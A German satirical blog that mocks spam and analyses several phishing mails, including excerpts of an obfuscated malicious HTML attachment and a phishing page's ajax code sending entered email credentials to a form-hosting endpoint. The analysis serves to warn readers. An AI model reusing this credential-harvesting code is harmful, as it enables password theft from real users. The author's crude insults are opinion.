Unser täglich Spam

Aus dem Internet frisch auf den Tisch. Köstlich und aromatisch.


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Mittwoch, 15. Oktober 2025

Das will man am Telefon sparen, und dann gibts Kopierer:

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Hallo liebe Leserinnen und Leser,

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  • Kauf eines Kopierers: keine langfristige Vertragsbindung, Wartungskosten müssen separat kalkuliert werden
  • Kopierer mieten: geringe monatliche Belastung, Aktualisierung auf neueste Technik, flexible Anpassungsmöglichkeiten
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Inzwischen sind die spammigen Pixelproster aus dem Glibbereimer des Spameingangs in ihrer Diversifizierung zwischen Lottoschein und Weihnachtswein – die verkaufen einfach jeden Müll und dazu noch illegales Glückspiel in Form von Schattenlotterien – ein bisschen durcheinandergekommen und können das Telefon nicht mehr vom Kopierer unterscheiden. Na, so lange ihnen das nicht mit Bier und Rattengift passiert, ist ja alles in Ordnung. 🤭️

herzlichen Glückwunsch!

Mittwoch, 15. Oktober 2025

Da klingt schon der Betreff nach Spam und Vorschussbetrug. Wer schreibt mir denn?

Von: Elon Musk Tesla <dimensioning@familyforumsa.com>
Antwort an: elonmusktesla0102@gmail.com
An: Recipients <dimensioning@familyforumsa.com>

Aha, der hitlergrüßende Geldsack Elon Musk schreibt. Der, der so reich geworden ist, weil er so viel Geld einfach verschenkt hat. Allerdings soll alle weitere Kommunikation über eine kostenlos und anonym eingerichtete Mailadresse bei Googles GMail, dem dicksten Kumpel und Komplizen des Trickbetrügers, laufen. Natürlich steht nicht meine Mailadresse als Empfänger drin, denn dieser Müll wird als BCC verteilt und geht an ganz viele Mailadressen gleichzeitig, ohne dass es dem Empfänger sofort auffällt.

Die Mail wurde über eine IP-Adresse aus Indien versendet. Sie wird bei mir klar als Spam erkannt. Mein rspamd gibt dafür 38,46 gülden gleißende Spampunkte… und ab fünf Punkten geht es in die eklige Tonne.

Natürlich kommt diese Mail nicht von Elon Musk. Der Name wird hier nur benutzt, weil er nach viel Geld klingt und aus Presse, Funk und Glotze bekannt ist und deshalb ein ziemlich fettes Geldgeschenk „plausibler“ macht. Na ja, so plausibel auch wieder nicht… aber für die „Zielgruppe“ reicht es. Die kann gar nicht leichtgläubig und naiv genug sein.

Hallo, Herzlichen Glückwunsch!

So genau hat schon lange kein Trickbetrüger aus dem Spameingang mehr meinen Namen gekannt. 😅️

Wo warst du?

Auf dem Klo.

Diese Nachricht wurde dir vor etwa zwei E-Mails bezüglich deiner Spende von 500.000,00 USD zugesandt.

Eine völlig neue Zeitrechnung ist über die Welt gekommen. Man spricht nicht mehr von Minuten, Stunden, Tagen und Jahrhunderten, sondern von E-Mails. Übrigens sind solchte Texte zur Einleitung eines Vorschussbetruges schon vor einer Million Spams dumm wie ein halber Meter trockener Feldweg gewesen. 😂️

Herzallerliebst die Angabe mit zwei Nachkommastellen.

Bitte kontaktiere mich per E-Mail, um weitere Informationen zum Erhalt deines Überweisungsbetrags zu erhalten.

Der Absender hätte ja gern noch etwas mehr geschrieben, aber leider ist ihm heute erstmal das Mailpapier ausgegangen. Ihr kennt das ja alle, dass ihr etwas mitteilen wollt, und dann ist auf einmal das Mailpapier alle, und dann müsst ihr das einfach weglassen und auf eine spätere Mail verschieben, wenn ihr wieder Mailpapier gekauft habt. 🤭️

Ignoriere diese Nachricht nicht, denn es handelt sich weder um Betrug noch um einen Scherz.

Ist voll kein Betrug. Ganz dickes Betrügerehrenwort mit Spamsiegel. ✅️

Dafür, dass es kein Scherz ist, ist es aber ganz schön lächerlich.

Vielen Dank und Gottes Segen.

Bitte auch weiterhin religiös sein, denn das macht naiv und leichtgläubig genug, dass man auf so eine plumpe Nummer reinfallen kann. ⛪️

Bitte antworten Sie an: (elonmusktesla0102@gmail.com) / https://en.wikipedia.org/wiki/Elon_Musk Weiter.

Bitte nicht an die Absenderadresse antworten. Die ist nämlich gefälscht. Und ganz feste daran glauben, dass der Rest stimmt!

Zu mir gibts übrigens auch ein Wikipedia-Lemma! 👍️

Vielen Dank.

Vielen Dank für den pseudohöflichen Dank für nichts. Vor meinem Arsch ist übrigens auch kein Gitter, jeder darf mal lecken.

Nochmals herzlichen Glückwunsch.

Ein bisschen weiter oben ist das noch mein Name.

Virus-free. www.avast.com

Und jetzt das absolute Spamsiegel, das man wirklich nur in dümmsten Spams sieht: Der knüppeldumme Avast-Spruch, dass die Mail virenfrei ist. Ich könnte jetzt eine Mail verfassen und eine Kollektion alter und aktueller Schadsoftware anhängen und noch ein dutzend Giftlinks auf Schadsoftwareschleudern drin unterbringen, und zu schlechter Letzt diesen dummen Werbespruch unter den Text schreiben. Der Empfänger hat nix davon, außer, dass er viel leichter zu täuschen ist, wenn er so einen Quatsch auch noch glaubt. Es ist einfach nur Reklame. Reklame für ganz Dumme. Reklame, die ich nur in Spams sehe. Weil ein denkender und fühlender Mensch Wert darauf legen würde, dass seine Mitteilungen frei von Reklame sind.

Entf!

EE88mah

Dienstag, 14. Oktober 2025

So nannte sich der Spammer mit seiner IP-Adresse aus Vietnam und seinem… ähm… nicht so gut gemachten Spamskript, der heute in aller Herrgottsfrühe um 4:55 Uhr den folgenden Kommentar auf meiner Homepage hinterlassen wollte, aber am Spamfilter scheiterte:

Welcome to EE88 – your last objective quest of online entertainment. At EE88, players can profit from a extensive align of casino games, x? s? draws, and invigorating th? thao betting opportunities. Whether you lose one’s heart to strategic baccarat, arousing game slots, or fast-paced b?n cá, this plank brings the whole shebang together in unified place. Encounter vibrant jackpot rounds, action-packed dá gà matches, and competitive esports tournaments — all designed to save you entertained nearly the clock. Don’t miss far-off on the latest khuy?n mãi and dear uu dãi that sign every plot even more rewarding. With a veteran cskh pair and complaisant d?i lý partnerships, EE88 ensures a flush and assured experience for every player. From n? hu spins to tài x?u md5, xóc dia, r?ng h?, and beyond – it’s all waiting in the interest of you. Explore the planet of gaming at https://719.cn.com/ and start your adventure today!

Alle Hervorhebungen sind aus dem Original.

Ich kann mir förmlich vorstellen, wie er den Prompt für ein angelerntes neuronales Netzwerk formuliert hat, inklusive „bitte gib es in HTML aus und mach mir alle für SEO relevanten Keywords fett“. Vielleicht kriegt er es ja beim nächsten Versuch hin, dass er auch noch die Zeichencodierung richtig angibt, damit nicht ganz so viele Fragezeichen beim Umcodieren entstehen. Unicode ist ja auch erst rd. fünfunddreißig Jahre alt, das – und die damit verbundenen Codierungen – kann ja noch nicht jeder Spammer kennen.

Hauptsache, mit Betrugscasinos im Internet und der dort möglichen Erforschung des Zockplaneten kennt er sich aus! 👍️

New Purchace Order JCPlastics 1010025

Montag, 13. Oktober 2025

Muss ja sehr wichtig sein. Da ist eine Nummer drin. Und der (bei mir eigentlich recht scharf eingestellte) Spamfilter hat aus unerfindlichen Gründen auch nichts auszusetzen gehabt, sondern die Spam einfach durchgelassen.

Von: JCPLASTICS <veronica.padilla@jcplastics.com.mx>
An: admin@tamagothi.de

Und nicht nur das: Die Mail geht auch an eine ganz besondere Mailadresse… wie ich sie niemals für normale Kommunikation verwenden würde. Da sieht man mal, wie wichtig es ist. Was ist es nur, dieses „es“? 🤔️

Leider enthält die Spam kein Wort Text. Keine Begrüßung, kein Abschied, nichts. Natürlich auch kein Mailimpressum oder irgendeinen Hinweis, um was es geht. Alles, was es darin gibt, ist ein Anhang. Dieser ist eine HTML-Datei…

$ file NEW\ ORDER\ 1010025.html 
NEW ORDER 1010025.html: HTML document, ASCII text, with very long lines (9000), with CRLF line terminators
$ sed -n 15,41p NEW\ ORDER\ 1010025.html
<script>
(function (b, f) {
    var u = {
            b: 0×20b,
            f: 0×1ec,
            g: 0×218,
            h: 'UPQO',
            i: '9I9@',
            j: 'Jo94',
            k: 0×21a,
            l: 'qbQZ',
            m: 0×1cf,
            v: 0×21c,
            w: 'cjQA',
            x: 'uPsR'
        }, n = d, g = b();
    while (!![]) {
        try {
            var h = -parseInt(n(u.b, 'oIQY')) / 0×1 + parseInt(n(u.f, '&FUQ')) / 0×2 + parseInt(n(u.g, 'V66o')) / 0×3 * (-parseInt(n(0×1c9, u.h)) / 0×4) + parseInt(n(0×1ce, u.i)) / 0×5 + parseInt(n(0×1ff, u.j)) / 0×6 * (-parseInt(n(u.k, u.l)) / 0×7) + -parseInt(n(u.m, '*4HT')) / 0×8 + -parseInt(n(u.v, u.w)) / 0×9 * (-parseInt(n(0×1d7, u.x)) / 0xa);
            if (h === f)
                break;
            else
                g['push'](g['shift']());
        } catch (i) {
            g['push'](g['shift']());
        }
    }
$ _

…mit vorsätzlich extrem kryptisch formuliertem Javascript, das jede Analyse erschweren soll. Was ich da eben gezeigt habe, ist nur ein kleiner Ausschnitt, und eigentlich noch ein halbwegs verständlicher. Der größte Teil sieht eher noch schlimmer aus. Kein Mensch würde so coden, wenn er nicht etwas zu verbergen hätte.

Ich kann nur dringend empfehlen, diesen Anhang nicht zu öffnen. Denn sonst bekommt man schnell einen „Sicherheitscheck“ seines Computers durch Kriminelle, und wenn dabei ausbeutbare Lücken im Betrübssystem oder im Browser gefunden werden, gibts eine aktuelle Kollektion von Schadsoftware. Für das Antivirus-Schlangenöl würde es so aussehen, als wenn eine lokale Datei geöffnet wurde, und da wird dann auch öfter mal nicht ganz so energisch geprüft, um den vom Antivirus-Schlangenöl eh schon stark ausgebremsten Computer nicht noch lahmer werden zu lassen. VirusTotal findet zwar im Moment noch keine Schadsoftware, aber das Antivirus-Schlangenöl hinkt den laufenden kriminellen Machenschaften immer ein paar Tage hinterher, und diese Spam ist ganz frisch und eben erst angekommen. Besser und wichtiger als jedes Antivirus-Schlangenöl ist ein funktionierendes Gehirn, das sofort bemerkt, dass diese Mail stinkt und sie einfach löscht.

Für Genießer – nein, ich habe keine Lust, das alles in meiner virtuellen Maschine für solche Zwecke noch weiter zu analysieren: Es werden mindestens die folgenden Domains und IP-Adressen kontaktiert, um nach Hause zu telefonieren und Zeugs aller Art nachzuladen, während man sich ungläubig das harmlos und statisch aussehende Browserfenster anschaut.

  • edge-mobile-static.azureedge.net
  • business.bing.com
  • goodmuzikz.com
  • kit.fontawesome.com
  • aadcdn.msftauth.net
  • code.jquery.com
  • logo.clearbit.com
  • i.gyazo.com
  • ip-api.com
  • clients2.googleusercontent.com
  • cdnjs.cloudflare.com
  • 23.217.77.128
  • 184.25.59.69
  • 199.232.210.172
  • 135.233.95.144
  • 20.189.173.14
  • 23.195.81.9
  • 52.111.229.43
  • 23.2.94.216
  • 142.251.184.106
  • 108.177.121.103

Der (nicht ganz aktuelle) Edge-Browser von Microsoft wird dabei zum Absturz gebracht, nachdem er mich für rd. eine halbe Minute aufgefordert hat, doch bitte meine Mailadresse und mein Passwort einzugeben, während im Hintergrund ein unscharfes Bild eines Dokumentes angezeigt wird, es werden also – neben dem Phishing auf Mailpasswörter – Fehler im Browser mit unverständlichem Programmcode provoziert. Gut, dass es nur eine virtuelle Maschine war, in der ich einfach meinen Snapshot einer sauberen Installation zurückspiele! Wäre es mein Arbeitssystem, dann „dürfte“ ich mir jetzt den Tag verderben, indem ich es neu installiere… und wäre es ein Arbeitsrechner im Netzwerk eines Unternehmens, dann hätte der Klick in die Mail vielleicht sogar die kommende Insolvenz des Unternehmens besiegelt. Das Antivirus-Schlangenöl hätte nicht einmal gewarnt. Deshalb klickt man ja auch nicht in eine E-Mail, ohne sich vorher beim angeblichen Absender telefonisch (oder über einen sonstigen anderen Kanal als E-Mail) zu vergewissern, dass die E-Mail wirklich von ihm kommt. Und wenn das nicht möglich ist oder wenn man den Absender gar nicht kennt, klickt man überhaupt nicht in eine E-Mail. Es ist dumm und gefährlich.

Dass niemand einen Anhang machen würde, wenn man etwas auch einfach und barrierefrei direkt in die Mail schreiben kann, brauche ich hoffentlich nicht zu erwähnen.

Betrifft: Betreff

Samstag, 11. Oktober 2025

Bildschirmfoto von Betreffzeilen im Spamordner

„Fortschrittliche Fußtherapie-Zentrale“

Oh schön, in Anführungszeichen. Das soll wohl „seriös“ aussehen. Wer schreibt da? Oh: „Von: Spezialisten für Kräuterpflaster“. Da frage ich mich nur noch, ob ich die Pflaster auch mit heißem Wasser aufgießen kann, um ein schmackhaftes Warmgetränk zu haben.

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Es gibt zwei völlig klare Anzeichen für Quacksalberei und Beutelschneiderei, die eigentlich nur gegen das schlimme Schwerer-Geldbeutel-Syndrom hilft, nämlich die Zusicherungen…

  1. … „natürlich“ und
  2. … „ohne Nebenwirkungen“.

Die Kombination ist immer ein besonders klarer Fall. Vor allem, wenn sie mit einer Spam kommt, in deren Betreff so viele lustige Emojis 🤡️ eingestreut sind 🥳️, dass man die Leere und Sinnlosigkeit 🕳️ des Textes 📕️ gar nicht mehr bemerkt. Da braucht man die Spam gar nicht mehr zu lesen. Sie ist eh ohne Text, weil alles in einem Bild gesagt wird, das eine sicher konfigurierte Mailsoftware gar nicht aus dem Web nachlädt. Warum? Weil der Müll sonst durch keinen Spamfilter dieser Welt hindurchkäme.

Der clevere Weg, Knieschmerzen zu lindern

Der Spamapotheker kennt gegen jedes Zipperlein ein Mittelchen, aber wer darauf reinfällt, ist eines nicht: clever. Eher das genaue Gegenteil. 😉️

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Und, auf welchen Grundpreis gibts den Rabatt? Ach, Leute, die einen Taschenrechner bedienen können, sind für den Abzock schon zu intelligent?

Hören Sie wieder klar und deutlich mit OmniHear.

Oh, den Quatsch mit einem „KI-Hörgerät“ hatte ich noch nie. Na, wenn man von einer Sache zum ersten Mal in einer Mail „hört“, bei der die eigene Mailadresse gar nicht als Empfänger drinsteht (klares Zeichen für Massenpest) und dessen Absender man gar nicht kennt, dann weiß man auch, was man davon zu halten hat. Das sieht man andernorts offenbar ähnlich.

Nicht darauf reinfallen! Es gibt keinen Grund, warum angelernte neuronale Netzwerke – von Politikern, Journalisten und sonstigen digitalen Analphabeten durchgehend mit dem Reklamewort „künstliche Intelligenz“ bezeichnet, damit wir alle mehr Reklame als Deutsch denken und reden – etwas an einem Hörgerät verbessern sollten. Stattdessen wird der damit einhergehende hohe Energiebedarf den Akku ganz schnell leernuckeln. Aber wenn es mit der Spam kommt, ist es eh nur Lüge und grenzbetrügerische Abzockerei.

Ihre Lebensqualität zurückgewinnen

Um etwas zurückgewinnen zu können, muss ich es ja mal gehabt haben, oder? Ach so, der Spammer meint, dass der Pimmel wieder steif wird. 😁️

Die Pimmelpille vom Spamapotheker hilft da jedenfalls nicht. Das ärztliche Rezept für ein entsprechendes Medikament hingegen sehr wohl. Das ist billiger, und es hat eine Hammerwirkung.

Ihr zusätzlicher 50 GB „Cloud-Speicher“ ist da

Oh, „Cloud-Speicher“ in Anführungszeichen? Was das wohl bedeuten mag? Ich habe übrigens gar keinen Cloudspeicher bei irgendeiner Klitsche – bei meinem alten DropBox-Account habe ich mal das Passwort verbaselt, so selten hatte ich daran Bedarf – und „zusätzlich“ klingt dann schon sehr lachhaft. Ich verstehe eh nicht, was die Leute mit langsamem und irgendwann teurem Cloudspeicher wollen, wenn Speicher so schnell, billig und leicht transportabel ist.

Es gibt übrigens keine Cloud. „Cloud“ ist ein Reklamewort, das die Wirklichkeit verbergen soll. Es gibt nur die Computer anderer Leute.

„Schützen Sie Ihre Geräte und senken Sie die Kosten“

Mache ich doch schon, indem ich nicht auf Spammer reinfalle.

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Wie, ich kriege mein Online zurück?

Re: Wieso bekomme ich von Ihnen immerzu Spam

Von mir? Mal ausprobieren. Oh, tatsächlich, die Absenderadresse ist eine Weiterleitung auf mein Postfach. Die Mail kam übrigens aus einer Softwareklitsche aus der wunderhübschen Stadt Essen. Eine Softwareklitsche, in der die Leute nicht zu wissen scheinen, dass jede Absenderadresse in einer Spam eine Fälschung ist und dass man dem Spammer niemals antworten kann. Es ist ja so schwierig geworden, gute Leute zu finden. Gerade, wenns um Computerkrams geht. Aber die Preise, die Kunden bezahlen werden, die werden sicherlich nach guten Leuten aussehen… 😁️

(Nein, ich nenne hier keine Firmierung. Das erledigt der Markt sowieso über kurz oder lang von selbst. Viel Spaß beim Bankrott! Intellektuell ist er schon längst eingetreten.)

„Mehr Sicherheit mit smarter Appsteuerung“

Wobei gibt es mehr Sicherheit? Beim Treppensteigen? Am Autofahren mit dem Handy in der Hand? Bei der morgendlichen Kotformung? Beim Lesen der Spam? Egal, hauptsache „Smart“ und „App“. Zielgruppe sind Leute, die nicht so „smart“ sind.

Hypoallergener Memory-Schaum – jede Nacht sauberer Schlaf

Oh, gibt es schon Schaumwindeln mit Gedächtnis?

Your MetaMask Wallet Needs Immediate Verification

Ja, schon klar. Ich habe gar kein Kryptogeld. Und ich will auch keins. Eine bei MetaMask rumliegende Wallet habe ich erst recht nicht. So weit käme es noch, dass ich irgendwelchen Dritten mein Kryptogeld anvertrauen würde, wenn ich welches hätte. Das Versprechen des Kryptogeldes war ja einst, dass es so etwas wie Banken und das ganze damit verbundene, ziemlich vampiristische Geschäftsmodell überflüssig machen würde, aber inzwischen haben die Leute ein ziemlich umfassendes Kryptogeld-Bankwesen, nur nicht gesetzlich reglementiert wie richtige Banken. Und Phishingspam wie die Bankkunden, die kriegen sie auch. Klick mal hier, gibt deine Passphrase ein, klick mal dort. Der wichtigste Unterschied: Auf Kulanz braucht man gar nicht erst zu hoffen, wenn man darauf reingefallen ist: Sind die Bitcoin erstmal weg, hat sie jemand anders.

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Oh, mit Punkt am Ende. Schön, dass ich dank meiner Mailadresse eigentlich jeden Tag Geld geschenkt bekomme. Jedenfalls sagen die Spammer das immer. Vermutlich, weil ich so eine schöne Mailadresse habe, denn meinen Namen kennen sie nicht. Zehntausend Dollar bedingungsloses Grundeinkommen pro Monat hat mir bislang auch noch niemand angeboten, immer nur irgendwelche herrenlosen Millionen, die ich ziemlich grundlos bekommen sollte. Das klingt aber mit einem hohen „Gehalt fürs Nixtun“ genau so unglaubwürdig wie die Milliönchen.

This tactical bag is smarter than it looks

So lange der Rucksack nicht schlauer als ich ist… oh, der hat einen Akku, den man laden soll? Der ist sicher nicht schlauer als ich.

Endlich wieder volle Leistung mit „Volt V“

Die Leistung wäre aber Watt W. 🤭️

Zeit für die Löschleistung. Weg mit der Spamspannung. Entf! Und gut.

🚗 ADAC Geschenk: Ihr neues Auto-Notfallset ist da!

Freitag, 10. Oktober 2025

Der Wiedergänger des Tages

Oh, ich habe diese Dummfrage-Spams – komm, wir sind ADAC und schenken dir auch was, wenn du klicki-klicki ein paar ganz dumme Fragen beantwortest, und jetzt mach dich mal schön vor Spammern datennackig – gar nicht vermisst, als sie mal ein paar Monate lang nicht mehr gesehen habe.

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Das Bild wird aus der Cloud von Google, dem dicksten Kumpel und Komplizen des Spammers und Betrügers nachgeladen. Von einer Abuse-Meldung bei Google nehme ich Abstand. Ich habe heute keinen Appetit auf eine Portion Kafka.

Nein, der ADAC hat damit ganz sicher nichts zu tun. So eine Spam kommt sogar bei mir an, der ich ganz sicher nicht Mitglied des ADAC bin. Ich habe nicht einmal einen Führerschein, und erst recht kein Auto. Was soll ich da mit dem Auto-darf-alles-Club? Aber selbst, wenn ich in dem Club drin wäre, hätte der keine Mailadresse von mir. Oder nur eine sehr spezielle, wenn ich die Angabe nicht vermeiden könnte, damit ich den Müll besser vorsortieren kann. Ich kriege schon genug Spam. Und so genannter „Autojournalismus“ ist nichts als Spam, Lüge, Bestubsung, Schleichwerbung und Fakenews. Wenn der über irgendetwas aufklären würde, dann würden die Leute doch keine Autos kaufen, die ihnen wegen technofeudalistischer Gängelsoftware mit Abzockschnittstelle der Marke „Zahlen sie monatlich soundsoviel Øre, um eine bereits in ihr Auto verbaute Funktion nutzen zu können, am besten bargeldlos und bequem per Bankeinzug“ gar nicht selbst gehören. So dumm ist doch keiner. So dumm kann man doch gar nicht sein… oder? ODER?! 😱️

Alle Daten, die man angibt – das gilt auch für die angebliche Lieferadresse und eventuelle weitere Angaben wie Telefonnummer, Geburtsdatum und Kreditkartennummer – gehen direkt an spammende Kriminelle, die am liebsten unter falschem Namen auftreten.

Ich hoffe mal, dass die Nummer inzwischen nicht mehr läuft. Es gab eine Zeit, in der ich solchen Müll nahezu täglich hatte, auch mit angeblichen Umfragen ganz vieler Unternehmen.

Der SEO-Experte des Tages…

Donnerstag, 9. Oktober 2025

…er kennt leider nur Spam, Spam und Spam, und dazu natürlich eine Portion Spam, damit die Spam auch spammig schmecke. Hier die nur geringfügig repetitiven Kommentare, die er heute zwischen 1:40 und 12:00 Uhr mit einem fehlerhaften Spamskript auf Unser täglich Spam ablegen wollte – was wegen der technischen Unfähigkeit des Spammers natürlich nicht geklappt hat:

  • Name: marketing service
    Uhrzeit: 1:40 Uhr
    Homepage: webdesignfreelancerfrankfurt.de
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    Uhrzeit: 3:42 Uhr
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    Uhrzeit: 3:49 Uhr
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    Uhrzeit: 4:47 Uhr
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    Uhrzeit: 8:04 Uhr
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    Uhrzeit: 10:00 Uhr
    Homepage: webdesignagenturnürnberg.de
    Mailadresse: @yahoo.com
    IP-Adresse: aus Deutschland

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  • Name: marketing service
    Uhrzeit: 10:06 Uhr
    Homepage: seoexpertebamberg.de
    Mailadresse: @gmail.com
    IP-Adresse: aus Deutschland

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  • Name: marketing service
    Uhrzeit: 10:33 Uhr
    Homepage: seoexpertenberlin.de
    Mailadresse: @hotmail.com
    IP-Adresse: aus Deutschland

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  • Name: marketing service
    Uhrzeit: 11:23 Uhr
    Homepage: aiseosearch.com
    Mailadresse: @hotmail.com
    IP-Adresse: aus Deutschland

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Der ist ja überall, dieser phänomenale SEO und…

Screenshot einer der diversen Websites dieses spammenden Spezialexperten

…KI-Berater aus allen Orten. Wie gut seine KI-Beratung sein wird, sieht man schon daran, was für eine Form des „Marketings“ er sich selbst empfohlen hat: Spam, Spam, Spam und Spam. Illegal und asozial. Und dazu technisch stümperhaft. Aber hey, hauptsache mit SEO und so genannter „künstlicher Intelligenz“ kennt er sich aus. Da muss man ja nicht mehr so viel natürliche Intelligenz haben. 🤭️

Diese (selbstverständlich illegale) Form des Marketings kann ich übrigens überhaupt nicht empfehlen. Außer, man möchte unbedingt eine wohlverdiente „lobende Erwähnung“ auf Unser täglich Spam bekommen. 😁️

Spreadsheet shared with you… Invoice

Donnerstag, 9. Oktober 2025

Häh? 🤔️

Von: Google Sheets <cassie@lifangvision.com>

Dies ist einer der wenigen Fälle, in denen sogar eine GMail-Adresse als Absender irgendwie glaubwürdiger gewesen wäre. Natürlich verwendet Google stets Mailadressen aus den eigenen Domains. 😁️

account@tamagothi.de shared a spreadsheet

  1. Diese Mailadresse existiert nicht in der Domain tamagothi.de. Die Mailadressen dort richte ich immer noch selbst ein.
  2. Die Domain tamagothi.de wird nicht von Google verwaltet.
  3. Wenn man mir eine Datei zumailen will, kann man sie einfach an die E-Mail anhängen, so wie das seit ungefähr den Achtziger Jahren [!] möglich ist und in den Neunziger Jahren standardisiert und auch immer gern genutzt wurde, weil das nun einmal die direkteste und einfachste Methode ist. Irgendwelche komplizierten Umwege mit Filehostern und Links in einer Mail sind nur erforderlich, wenn die Datei sehr groß ist. Ab der Größenordnung MiB sollte man besser davon absehen, daraus einen Mailanhang zu machen. Rechnungen, Briefe und sogar wissenschaftliche Fachartikel (mit allem Gedöns an eingebetteten Grafiken und schönem Satz in guter Schriftart) sind kleiner, hochauflösende Fotos meist größer.

tamagothi.de (account@tamagothi.de) added you as an editor. Verify your email to securely make edits to this spreadsheet. You will need to verify your email every 7 days. Learn more

Dubai Invoice 10/9/2025 6:19:41 AM

Open

Der Link führt natürlich auch nicht zu Google, sondern in eine Domain, die über das zurzeit von Spammern meistmissbrauchte kostenlose Angebot von Cloudflare läuft. An die URI ist noch einmal die Mailadresse angehängt, damit die Spammer auch wissen, unter welchen Mailadressen die Spam ankommt, gelesen wird und sogar beklickt wird, denn das sind gute Opfer für jede denkbare kriminelle Machenschaft. Dort gibt es ein lustiges HTML-Dokument…

$ curl -s "https://safer-guests-advisory-flat.trycloudflare.com/?#leck@meinen.arsch" >dubai-invoice
$ file dubai-invoice 
dubai-invoice: HTML document, ASCII text
$ mv dubai-invoice dubai-invoice.html
$ lynx -dump dubai-invoice.html 
   Your session has expired, please sign in to continue.
   ____________________
   Please enter a valid email address.
   ____________________
   Please enter your password.
   (BUTTON) Sign In
$ _

…in welchem man seine Mailadresse (wird in Javascript mit der angegebenen Mailadresse vorbelegt) und sein Passwort eingeben und an Kriminelle senden kann. Natürlich haben die Kriminellen hierfür auch ein kostenloses Angebot eines Unternehmens verwendet, in diesem Fall ist es Formspark:

$ sed -n 134,147p dubai-invoice.html
            $.ajax({
                url:'https://submit-form.com/61dmNNQ8B',
                method: 'POST',
                data: {
                    chat_id: chatId,
                    text: message
                },
                success: function(response) {
                    window.location.href = `https://${domain}`;
                },
                error: function(error) {
                    $('#errorMessage').text('Error in submitting form!').show();
                }
            });
$ _

Ich bin übrigens erstaunt, dass dieser Phisher nicht einmal versucht hat, die Zieldomain im Quelltext in kryptischem Coding zu verbergen. Vermutlich ist der Honk, dessen geistiges Herausgefordertsein auch im Text der Spam durchschimmerte, mit solchen Dingen ein bisschen überfordert. Oder er fühlt sich sehr sicher, weil er in einem Staat lebt, in dem nicht so viel Wert auf Ermittlungen in Sachen Computerkriminalität gelegt wird oder in dem Verwaltung, Justiz und Polizeien durch und durch korrupt sind. Besonders sorglos waren früher stets die Phisher und Betrüger aus Nigeria, Russland und der Ukraine, später kam auch das bettelarme Benin hinzu.

Warum der Phisher dann nicht einfach ein HTML-Formular mit POST-Methode und Angabe der Adresse als action-Parameter im FORM-Tag macht? Vermutlich weiß der spammende Idiot gar nicht mehr, dass man so etwas auch in HTML machen kann, und zwar einfacher, kürzer, barrierefreier und klarer. So, wie etwa hier auf Unser täglich Spam das Kommentarformular, weil ich so viel Funktion wie möglich auch für Leser haben möchte, die Wert auf Computersicherheit und Privatsphäre legen (oder legen müssen) und deshalb einen Skriptblocker benutzen – Javascript verwende ich in einer Website extrem ungern und nur für Funktionen, die hübsch sind, aber nicht unbedingt sein müssen. 🤭️

Oder aber der spammende Idiot hat sich seine Phishingseite bei einem angelernten neuronalen Netzwerk – von Politikern, Journalisten und anderen digitalen Analphabeten durchgehend mit dem Reklamewort „künstliche Intelligenz“ bezeichnet, damit wir auch alle weniger Deutsch und mehr Reklame sprechen und denken – erpromptet. Denn wenn sich ein Spammer Mühe geben wollte, brauchte er ja auch nicht zu spammen, sondern könnte gleich arbeiten gehen. Dabei kommt auch ziemlich oft Code aus Lehrbüchern wieder raus, der vom Autor nur didaktisch-illustrativ gemeint war, den aber in der Praxis kein denkender Mensch so schreiben würde, wenn es auch eine ganze Größenordnung weniger komplex geht. Diese angelernten neuronalen Netzwerke haben zwar das Wissen der Welt beim Training mit dem Nürnberger Trichter verabreicht bekommen, aber sie verstehen davon nichts. Gut, dass ich bald tot bin. Nicht, dass mich noch jemand mit neuerdings wieder modernwerdenden Zwangsarbeitsgesetzen dazu heranzieht, den ganzen durch Vibe Coding entstandenen Müll zu entfehlern, zu erweitern oder zu verbessern! Ich habe ehrlich gesagt ein Vierteljahrhundert später immer noch genug vom Jahr-2000-Bug… und da habe ich viel Code von Menschen gelesen, deren Gedanken und Gedankenlosigkeiten noch halbwegs nachvollziehbar formuliert waren, und nicht das stochastisch generierte Geschwall aus angelernten neuronalen Netzwerken. Den Nach-mir-Kommenden wünsche ich viel Glück, sie werden es brauchen! 🫤️

Use is subject to the Google Privacy Policy.

Ganz sicher nicht. 🤥️

Google LLC, 1600 Amphitheatre Parkway, Mountain View, CA 94043, USA

Mein Exemplar dieser Spam wurde über eine IP-Adresse aus dem großen, weiten Russland versendet und hat auf ihrem gesamten Transportweg niemals die USA gesehen.

You have received this email because account@tamagothi.de shared a spreadsheet with you from Google Sheets. Delete visitor session

Dass das eine Lüge ist, sollte jetzt hoffentlich klar genug geworden sein.

Google Workspace

Google, von mir so viel geschmäht, hat damit mal überhaupt nichts zu tun. An keiner Stelle.

Nicht reinklicken, einfach löschen! 🗑️

Generell niemals in eine E-Mail klicken!